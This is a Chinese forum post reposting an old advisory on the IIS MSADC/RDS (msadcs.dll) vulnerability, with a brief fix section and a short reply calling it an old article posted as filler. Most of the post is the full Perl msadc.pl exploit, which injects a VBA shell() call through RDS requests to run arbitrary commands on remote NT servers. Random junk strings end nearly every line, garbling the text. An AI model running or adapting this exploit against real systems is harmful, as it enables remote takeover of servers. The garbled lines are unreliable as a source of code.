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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) u'o."J^&'  
/5ngPHy&  
涉及程序: HbRDa  
Microsoft NT server ~v 2E<S3  
qjsS2,wM  
描述: M>pcG.6V  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 `Ns$HV  
ZYy,gu<  
详细: Q)\~=/L b  
如果你没有时间读详细内容的话,就删除: y^o*wz:D*  
c:\Program Files\Common Files\System\Msadc\msadcs.dll bIR AwktD  
有关的安全问题就没有了。 Q1fJ`A=  
q F \a]e  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 7j&iHL  
#|\NG  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~Bll\3-=  
关于利用ODBC远程漏洞的描述,请参看: BcMgfa/  
.e $W(}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H]LH~l  
?N 6'*2{NT  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 nQ/R,+6h  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4,o|6H  
-.8 nEO3  
这里不再论述。 mCa [?  
}{J5)\s9  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: l .8@F  
6dG:3n}  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ##gq{hgjb$  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! a&6e~E$K2  
9V]\,mD=  
J1waiOh  
#将下面这段保存为txt文件,然后: "perl -x 文件名" V^a] @GK:  
LV4]YC  
#!perl TG\3T%gH/s  
# 0] 'Bd`e  
# MSADC/RDS 'usage' (aka exploit) script b<|l* \  
# f?_UT}n  
# by rain.forest.puppy [ 7W@/qqv  
# gK{-eS  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^f:oKKaAW;  
# beta test and find errors! @z8,XW }  
wHSas[4k  
use Socket; use Getopt::Std; RR u1/nam  
getopts("e:vd:h:XR", \%args); 1LbJR'}  
T)"B35  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; n+db#qAj5  
lKo07s6u  
if (!defined $args{h} && !defined $args{R}) { z\z mAus  
print qq~ vJ__jO"Sq  
Usage: msadc.pl -h <host> { -d <delay> -X -v } rkF]Q_'`t;  
-h <host> = host you want to scan (ip or domain) |IbCN  
-d <seconds> = delay between calls, default 1 second _5F8F4QY`  
-X = dump Index Server path table, if available 0XCtw6  
-v = verbose $ e<&7  
-e = external dictionary file for step 5 i ez@j  
y$=$Yc&Ub  
Or a -R will resume a command session uqaP\  
yF &"'L  
~; exit;} \,<5U F0  
m{(G%n>E&  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 'lPt.*Y<u  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} vf=b5s(7Q  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <IWO:7*#  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); I:4m]q b  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $F|3VQ~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } [whX),3>  
l6^IX0&p  
if (!defined $args{R}){ $ret = &has_msadc; f; <qGM.#|  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 4{?Djnh  
Y#9dVUS  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" EV}c,*);y  
. "cmd /c "; K !&{k94  
$in=<STDIN>; chomp $in; $Hr qX?&r  
$command="cmd /c " . $in ; o`hVI*D  
iElE-g@Ws  
if (defined $args{R}) {&load; exit;} #7!P3j  
?lg  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; w)A@  
&try_btcustmr; fiuF!<#;6  
$q_e~+SXT  
print "\nStep 2: Trying to make our own DSN..."; /%w9F  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ' +6H=Qn  
Z5lE*z  
print "\nStep 3: Trying known DSNs..."; _^+z2m+ ~N  
&known_dsn; %SW"{GnO ^  
pIKQx5;  
print "\nStep 4: Trying known .mdbs..."; p<5ED\;N;  
&known_mdb; XG]ltSOy  
M=Y}w?  
if (defined $args{e}){ DH(Q md  
print "\nStep 5: Trying dictionary of DSN names..."; V=)0{7-9  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } )24c(  
t2)S61Vr  
print "Sorry Charley...maybe next time?\n"; R5iv]8X4W  
exit; o"5Bg%H  
\`:X37n)0q  
############################################################################## 2&st/y(hs  
%#!pAUP\&  
sub sendraw { # ripped and modded from whisker %d..L-`]ET  
sleep($delay); # it's a DoS on the server! At least on mine...  >'>onAIL  
my ($pstr)=@_; 8cqH0{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3l?D%E]P  
die("Socket problems\n"); 7Sc._G{[%  
if(connect(S,pack "SnA4x8",2,80,$target)){ Lq#>N_72W0  
select(S); $|=1; g<,kV(_7  
print $pstr; my @in=<S>; [yzDa:%  
select(STDOUT); close(S); $is|B9B  
return @in; JZQT}  
} else { die("Can't connect...\n"); }} Gw3H1:yo  
]JQ';%dne  
############################################################################## ~*WSH&ip  
8Vcg30_+  
sub make_header { # make the HTTP request wYxnKm~f  
my $msadc=<<EOT !+qy~h  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 b2x8t7%O  
User-Agent: ACTIVEDATA FBn`sS8hH  
Host: $ip Ku6bY|  
Content-Length: $clen p~ `f.q$'  
Connection: Keep-Alive cVrses^yE  
e0i&?m  
ADCClientVersion:01.06 y'ZRoakz)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 u="VJ3  
9EryHV|  
--!ADM!ROX!YOUR!WORLD! y/!h.[  
Content-Type: application/x-varg $tGk,.#j  
Content-Length: $reqlen C]22 [v4  
x.Sq2rw]V  
EOT oz!;sj{,D  
; $msadc=~s/\n/\r\n/g; R)s@2S  
return $msadc;} {1H3VSYq  
Q fI =  
############################################################################## 8mM^wT  
1BQB8i-,  
sub make_req { # make the RDS request q&.SB`  
my ($switch, $p1, $p2)=@_; lM1Y }  
my $req=""; my $t1, $t2, $query, $dsn; ^4Ta0kDn  
D8u_Z<6IjI  
if ($switch==1){ # this is the btcustmr.mdb query V~rF`1+5N  
$query="Select * from Customers where City=" . make_shell(); giU6f!%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . _x<CTFTL  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} l56D?E8  
[cSoo+Mlx  
elsif ($switch==2){ # this is general make table query Vx1xULdY  
$query="create table AZZ (B int, C varchar(10))"; }"?v=9.G  
$dsn="$p1";} F-MN%WD~  
q$[x*!~  
elsif ($switch==3){ # this is general exploit table query Rk#@{_  
$query="select * from AZZ where C=" . make_shell(); F1skI _!  
$dsn="$p1";} &5Ai&<q"p  
/IDfGAE  
elsif ($switch==4){ # attempt to hork file info from index server XWQp-H.  
$query="select path from scope()"; joa|5v'  
$dsn="Provider=MSIDXS;";} : b^\O  
#q`-"2"|  
elsif ($switch==5){ # bad query 1:I47/  
$query="select"; Z-(Vfp4  
$dsn="$p1";} l`s_Id#  
9Ra_[1  
$t1= make_unicode($query); y99 3uP   
$t2= make_unicode($dsn); 16q"A$  
$req = "\x02\x00\x03\x00"; ]=5nC)|  
$req.= "\x08\x00" . pack ("S1", length($t1)); ,U_p6 TV5  
$req.= "\x00\x00" . $t1 ; T\g%.  
$req.= "\x08\x00" . pack ("S1", length($t2)); RIXUzKLO  
$req.= "\x00\x00" . $t2 ; Fs rGI (x?  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; k@qn' Zi  
return $req;} L&td4`2y  
]|cL+|':y  
############################################################################## !(=bH"P  
b[<Q_7~2  
sub make_shell { # this makes the shell() statement v#EXlpS  
return "'|shell(\"$command\")|'";} =i jGB~  
r"s <;  
############################################################################## P$MAURFm  
Yrb[:;Y  
sub make_unicode { # quick little function to convert to unicode $xT'cl/IH  
my ($in)=@_; my $out; !"\UT&  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } LD]>_P83  
return $out;} 4u;db_gX  
cX$ Pq  
############################################################################## # [c`]v  
;IX3w:Aw  
sub rdo_success { # checks for RDO return success (this is kludge) SWujj,-[  
my (@in) = @_; my $base=content_start(@in); q.L0rY!  
if($in[$base]=~/multipart\/mixed/){ #S+GI!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Z_&6 <1,H  
return 0;} /p| ]*={  
;74hOHDS  
############################################################################## [eV!ho*r  
0( fN  
sub make_dsn { # this makes a DSN for us eJ0PSW/4l  
my @drives=("c","d","e","f"); I13n mI\  
print "\nMaking DSN: "; !Fa2F~#h  
foreach $drive (@drives) { RFyeA. N  
print "$drive: "; *Q bPz4,"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ^J0*]k%   
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" $_,?SXM  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); SdF*"]t  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; so h3 d  
return 0 if $2 eq "404"; # not found/doesn't exist Fxwe,  
if($2 eq "200") { ?YR/'Vq97  
foreach $line (@results) { ?`?"j<4e  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} MrIo.  
} return 0;} |1`|E- S=  
o ~"?K2@T  
############################################################################## uZ mi  
JwR]!  
sub verify_exists { Yrp WGK520  
my ($page)=@_; qv<[f=X9|  
my @results=sendraw("GET $page HTTP/1.0\n\n"); GJW>8*&&(  
return $results[0];} Hf P2o5-  
+JE h7  
############################################################################## ^` N+mlh  
BR5r K  
sub try_btcustmr { )]Xj"V2  
my @drives=("c","d","e","f"); V6'"J  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [4,=%ez  
(hTe53d<S?  
foreach $dir (@dirs) { o$I% 1  
print "$dir -> "; # fun status so you can see progress &-#!]T-P:E  
foreach $drive (@drives) { <_&H<]t%rI  
print "$drive: "; # ditto 7VkT(xnm  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; aL@myq.  
$reqlenlen=length( "$reqlen" ); :| J' HCth  
$clen= 206 + $reqlenlen + $reqlen; ;'!G?)PZ  
b;#Z/phix  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); mjUln8Jc  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} `"J=\3->  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} DZGM4|@<7Y  
-E1b5i;f  
############################################################################## -Y'Qa/:7  
mXnl-_  
sub odbc_error { O:'UsI1Y  
my (@in)=@_; my $base; j`1% a]Bwc  
my $base = content_start(@in); k mjSSh/t  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this A=q)kcuy5  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [@MV[$W5  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qn}w]yGW  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,.Ac= "f  
return $in[$base+4].$in[$base+5].$in[$base+6];} [pf78  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; )F;`07  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Q/rOIHiI  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >YuBi:z  
*"#62U6  
############################################################################## FCxLL"))  
_W]qV2j  
sub verbose { L 1=HD  
my ($in)=@_; E/9h"zowS  
return if !$verbose; ,a&N1G.  
print STDOUT "\n$in\n";} zg,?aAm  
Rk8>Ak(/  
############################################################################## a[iuE`  
ur^)bp<n  
sub save { 8/X#thG  
my ($p1, $p2, $p3, $p4)=@_; w=>~pYASH  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4PUSFZK?  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; fMRBGcg7Dc  
close OUT;} dD@k{5  
*Q=ER  
############################################################################## U%3d_"{;  
[80jG+6  
sub load { 9dl\`zlA*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; iD=VNf  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); v[VUX69  
@p=<IN>; close(IN); *Iv.W7 [  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); G v(bD6Rz  
$target= inet_aton($ip) || die("inet_aton problems"); Gqvnc8V&  
print "Resuming to $ip ..."; z+5l: f  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~[bS+ ]d!  
if($p[1]==1) { kBYZNjSz  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; UD6D![e  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; '3B`4W,  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); F/z$jj)  
if (rdo_success(@results)){print "Success!\n";} cRBdIDIc  
else { print "failed\n"; verbose(odbc_error(@results));}} ]O2ku^yM  
elsif ($p[1]==3){ )3g7dtq}  
if(run_query("$p[3]")){ v2R41*z,  
print "Success!\n";} else { print "failed\n"; }} %KL"f  
elsif ($p[1]==4){ y&T(^EA;  
if(run_query($drvst . "$p[3]")){ `pS<v.L3  
print "Success!\n"; } else { print "failed\n"; }} c%-s_8zvi  
exit;} y\L$8BSL  
Nx>WOb98  
############################################################################## >&V?1!N"  
4/; X-  
sub create_table { \ZiZ X$  
my ($in)=@_; `C 'WSr  
$reqlen=length( make_req(2,$in,"") ) - 28; 5&]|p'"W\  
$reqlenlen=length( "$reqlen" ); (CKx s I@  
$clen= 206 + $reqlenlen + $reqlen; 7Yp;B:5@  
my @results=sendraw(make_header() . make_req(2,$in,"")); 1(6B|w5+  
return 1 if rdo_success(@results); JEq0{_7  
my $temp= odbc_error(@results); verbose($temp); cn1CM'Ru  
return 1 if $temp=~/Table 'AZZ' already exists/; /rp.H'hC  
return 0;} Gxk=]5<7  
.U|e#t  
############################################################################## V {R<R2h1  
g _fvbVX  
sub known_dsn { xo#&&/6  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go oK1"8k|Z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", yGl (QLk  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", b5u_x_us|  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); \q#s/&b   
HPVW2Y0_N  
foreach $dSn (@dsns) { o3*IfD  
print "."; (3z: ;  
next if (!is_access("DSN=$dSn")); 9!sx  
if(create_table("DSN=$dSn")){ It,m %5 Py  
print "$dSn successful\n"; JJJlgr]#  
if(run_query("DSN=$dSn")){ g;)xf?A9q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { b Z c&uq_  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ZAe>MNtW  
r:.5O F}  
############################################################################## M,1Yce%+}  
])paU8u  
sub is_access { Gw3eO&X3i  
my ($in)=@_; Iw(2D(se  
$reqlen=length( make_req(5,$in,"") ) - 28; #W`>vd}  
$reqlenlen=length( "$reqlen" ); {?*3Ou  
$clen= 206 + $reqlenlen + $reqlen; LQ4GQ qS*  
my @results=sendraw(make_header() . make_req(5,$in,"")); jSbO1go#  
my $temp= odbc_error(@results); Qo+_:N  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); pjr,X+6o  
return 0;} yP2[!vYw  
}5dYmny  
############################################################################## Y~]E6'Bz  
3f9J! B`n  
sub run_query { }Y\Ayl  
my ($in)=@_; a x1  
$reqlen=length( make_req(3,$in,"") ) - 28; +k]9n*^uz  
$reqlenlen=length( "$reqlen" ); iyNyj44 H  
$clen= 206 + $reqlenlen + $reqlen; sOA!Sl  
my @results=sendraw(make_header() . make_req(3,$in,"")); W,Q"?(+]B  
return 1 if rdo_success(@results); T-|SBNFw;  
my $temp= odbc_error(@results); verbose($temp); &$uQ$]&H  
return 0;} \eD#s  
9Mo(3M  
############################################################################## .zr2!}lB  
\wRbhN  
sub known_mdb { CU)'x E  
my @drives=("c","d","e","f","g"); ! 7,rz1s73  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Th,15H DA  
my $dir, $drive, $mdb; v  P8.{$  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; e|Iylv[3  
^6;n@  
# this is sparse, because I don't know of many Wj2]1A  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Z\8TpwD2  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", qH'T~# S  
"\\system32\\certmdb.mdb", a>A29*q  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% F-Mf~+=Dn  
B:qH7`s  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", HrQBzS  
"\\cfusion\\cfapps\\forums\\forums_.mdb", c"R`7P  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,^,KWi9  
"\\cfusion\\cfapps\\security\\realm_.mdb", Bv,u kQ\CH  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", _ +Ww1 f  
"\\cfusion\\database\\cfexamples.mdb", m@o/W  
"\\cfusion\\database\\cfsnippets.mdb", TNBFb_F  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", xvP<~N-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", yiyyw,iy  
"\\cfusion\\brighttiger\\database\\cleam.mdb", WP&P#ju&  
"\\cfusion\\database\\smpolicy.mdb", \y?Vou/  
"\\cfusion\\database\cypress.mdb", /NFv?~</k  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", W 0^.Dx  
"\\website\\cgi-win\\dbsample.mdb", A `\2]t$z  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", J$6tCFD  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" td-2[Sy  
); #these are just $h1`-=\7  
foreach $drive (@drives) { LY}%|w  
foreach $dir (@dirs){ vgRjd1k.\y  
foreach $mdb (@sysmdbs) { N@J "~9T  
print "."; }.O,P'k  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ [eL?O;@BD  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 0eq="|n^|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ TV)bX  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; W6f?/{Oo8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [*zB vj}G  
HFYN(nz}[  
foreach $drive (@drives) { 1iBOf8  
foreach $mdb (@mdbs) { 7z!|sPW](b  
print "."; Y$SZqW0!/  
if(create_table($drv . $drive . $dir . $mdb)){ ecIxiv\  
print "\n" . $drive . $dir . $mdb . " successful\n"; PY=(|2tb4  
if(run_query($drv . $drive . $dir . $mdb)){ S'T&`"Mr  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Cv{>|g#  
} else { print "Something's borked. Use verbose next time\n"; }}}} 0g% `L_e_  
} tqyR~  
Zh.5\&bm  
############################################################################## 6W&huIQ[  
nQ>?{"  
sub hork_idx { Dp|y&x!  
print "\nAttempting to dump Index Server tables...\n"; =$3]%b}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; d5&avL\  
$reqlen=length( make_req(4,"","") ) - 28; UZsL0  
$reqlenlen=length( "$reqlen" ); [pi!+k  
$clen= 206 + $reqlenlen + $reqlen; X3zk UMk  
my @results=sendraw2(make_header() . make_req(4,"","")); ''P.~~ezr5  
if (rdo_success(@results)){ & Ji!*~sE  
my $max=@results; my $c; my %d; dWV.5cViP  
for($c=19; $c<$max; $c++){ !mhV$2&r  
$results[$c]=~s/\x00//g; ,Cx @]]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Wkw.z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \C;cs&\Q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; JK:i-  
$d{"$1$2"}="";} Lqy]bnY  
foreach $c (keys %d){ print "$c\n"; } ?EF[OyE  
} else {print "Index server doesn't seem to be installed.\n"; }} M]&F1<  
Xy[O  
############################################################################## ) jBPt&  
K?0f)@\nx  
sub dsn_dict { "<6X=|C  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); #DjSS.iW  
while(<IN>){ M qq/k J  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~bU!4P}4j  
next if (!is_access("DSN=$dSn")); csP 5R3  
if(create_table("DSN=$dSn")){ ?m5@ 63 5  
print "$dSn successful\n"; 2(V;OWY(@  
if(run_query("DSN=$dSn")){ X5i?B b.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `l+{jrRb<  
print "Something's borked. Use verbose next time\n";}}} @-y.Y}k#$~  
print "\n"; close(IN);} kj_ o I5<'  
 =`fJ  
############################################################################## -_&"Q4FR;+  
 5,  
sub sendraw2 { # ripped and modded from whisker ?K]Cs&E4  
sleep($delay); # it's a DoS on the server! At least on mine... )U0`?kD  
my ($pstr)=@_; M6J~%qF^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Z_vIGH|1  
die("Socket problems\n"); 1fwjW0t  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]6)^+(zU  
print "Connected. Getting data"; "w3#2q&  
open(OUT,">raw.out"); my @in; 6qfL-( G  
select(S); $|=1; print $pstr; 3e&H)  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} NzB"u+jB  
close(OUT); select(STDOUT); close(S); return @in; zzlV((8 ~  
} else { die("Can't connect...\n"); }} 1#LXy%^tO  
._2#89V  
############################################################################## )EQWc0iKG  
S8-3Nv'  
sub content_start { # this will take in the server headers <1i:Z*l.  
my (@in)=@_; my $c; r(=  
for ($c=1;$c<500;$c++) { yH}(0  
if($in[$c] =~/^\x0d\x0a/){ t){})nZ/4  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } dq d:V$o  
else { return $c+1; }}} m$b5Vqq  
return -1;} # it should never get here actually 0X6|pC~  
v%gkQa  
############################################################################## 9z>I&vcX  
hgt@Mb   
sub funky { yV`H_iC  
my (@in)=@_; my $error=odbc_error(@in); {')L*  
if($error=~/ADO could not find the specified provider/){ 6lW\-h`N G  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; tf?syk+jB7  
exit;} mO];+=3v8  
if($error=~/A Handler is required/){ 39 D!e&  
print "\nServer has custom handler filters (they most likely are patched)\n"; Cu*+E%P9`  
exit;} SM%N ]/@U  
if($error=~/specified Handler has denied Access/){ 7wKN  
print "\nServer has custom handler filters (they most likely are patched)\n"; FKhmg&+>  
exit;}} LIzdP,^pc  
(I(?oCQ  
############################################################################## 6&jW.G8/  
y.h2hv]Bc  
sub has_msadc { 7.V'T=@x3)  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); qfJi[8".  
my $base=content_start(@results); ./SDZ:5/  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); xi5G?r  
return 0;} KO*# ^+g  
z$#q'+$  
######################## 5q<cZ)v#&  
&<??,R14  
']Q4SB"q  
解决方案: !4"(>Rnw  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll QH z3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 -"Mq<XO&51  
e@6]rl  
拿出来充数 哈哈
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